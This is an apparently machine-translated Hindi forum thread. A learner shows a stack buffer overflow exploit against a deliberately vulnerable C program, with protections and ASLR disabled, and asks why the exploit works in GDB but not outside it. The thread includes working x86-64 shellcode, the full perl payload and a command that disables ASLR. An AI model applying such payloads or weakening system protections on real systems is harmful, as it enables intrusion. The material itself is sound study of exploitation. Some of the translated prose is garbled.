मैंने स्टैक स्थित बफर ओवरफ्लो के बारे में बहुत समय पहले पढ़ा था, लेकिन एक आभासी मशीन स्थापित करने और वास्तव में उन्हें अभ्यास में देखने का फैसला किया।स्टैक बफर ओवरफ़्लो: जीडीबी पर काम करता है, इसके बाहर नहीं है
निम्नलिखित कोड कमजोर कार्यक्रम था:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
यह दोनों के लिए जीसीसी पर -zexecstack
और -fno-stack-protector
विकल्पों का उपयोग कर संकलित किया गया स्टैक में कोड निष्पादन किया जा रहा है और इस कार्यक्रम में निर्मित स्टैक ओवरफ़्लो सुरक्षा को अक्षम (अनुमति देते हैं "कैनरी" मान)।
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
मैं तो ढेर पर name
की स्मृति स्थिति पता लगाने के लिए GDB का इस्तेमाल किया और निम्न पते पाया: 0x7fffffffdc10
चूंकि मेरे वीएम हाल ही में एक लिनक्स संस्करण है, मैं ASLR को निष्क्रिय करने के लिए किया था (पता स्थान लेआउट यादृच्छिकरण) चलकर: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
या sudo sysctl -w kernel.randomize_va_space=0
।
shellcode एक लेख मैं ढेर स्मैशिंग के बारे में ऑनलाइन पाया से लिया गया है और एक पर्ल स्क्रिप्ट के माध्यम से कार्यक्रम के लिए तंग आ गया था: "Hax"
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
पहले 45 बाइट्स shellcode (लिखने के लिए चाहिए होने के नाते स्क्रीन पर), सही अतिरिक्त स्थिति में पॉइंटर प्राप्त करने के लिए कुछ अतिरिक्त 27 "ए" बाइट्स और अंत में छोटे एंडियन में पेलोड का प्रारंभिक पता।
समस्या है:
जब के माध्यम से GDB पर कार्यक्रम चल रहा है,: "Hax"
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
मैं shellcode चल रहा है और प्राप्त कर सकते हैं उत्पादन।
जब की तरह
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
GDB के बाहर कार्यक्रम चलाने के लिए कोशिश कर रहा करने के बजाए एक Illegal instruction (core dumped)
त्रुटि प्राप्त "Hax!" उत्पादन।
मैं इस बात को समझने की कोशिश कर रहा हूं कि इस अलग-अलग व्यवहार का कारण क्या है। स्पष्ट रूप से जीडीबी डिफ़ॉल्ट रूप से एएसएलआर को अक्षम करता है, हालांकि मैंने इसे कर्नेल पर sysctl
के माध्यम से भी अक्षम कर दिया है। क्या कर्नेल kernel.randomize_va_space
वैरिएबल को अनदेखा कर सकता है? या शायद स्मृति पता अलग है, भले ही स्थिर, जीडीबी पर और वास्तविक प्रक्रिया पर? या शायद असली प्रक्रिया वास्तव में शेलकोड चल रही है, लेकिन असली प्रक्रिया पर कुछ गलत हो रहा है कि जीडीबी अनदेखा/बाईपास कर रहा है?
कोई कारण क्या हो सकता है इसके बारे में कोई विचार?
क्या आपने 32-बिट कोड के रूप में संकलित करने का प्रयास किया है? (उदाहरण के लिए '-m32') मुझे विनिर्देशों को नहीं पता, लेकिन मुझे पता है कि x86_64 में स्टैक निष्पादन योग्य बनाने के लिए अतिरिक्त बाधाएं हैं। (नहीं, मुझे नहीं पता कि यह जीडीबी में क्यों काम करता है:) ' –
क्या यह [एनएक्स] है (https://en.wikipedia.org/wiki/NX_bit)? – Kevin
@ डेविडसी। रैंकिन मैंने इसे 32-बिट के रूप में संकलित करने की कोशिश की, लेकिन प्रक्रिया में कुछ जटिलताएं थीं। यादृच्छिकता के बाद जहां पेलोड को संग्रहीत किया जा रहा था, मुझे फिर से पता लगाना पड़ा कि * सहेजे गए निर्देश सूचक * प्राप्त करने के लिए कितने ओवरहेड बाइट्स डालने की आवश्यकता होगी। आश्चर्य की बात है कि मुझे 32-बिट संस्करण पर अधिक बाइट्स के साथ बफर भरना पड़ा था, मैंने अनुमान लगाया था: मैंने सोचा था कि मुझे 64bytes बफर + 4 बाइट्स सहेजे गए स्टैक पॉइंटर को भरने की आवश्यकता होगी, लेकिन इसे सहेजने के लिए 64 + 12 बाइट्स की आवश्यकता है निर्देश सूचक *। 64-बिट संस्करण (64 + 8 बाइट्स) से भी अधिक। – murphsghost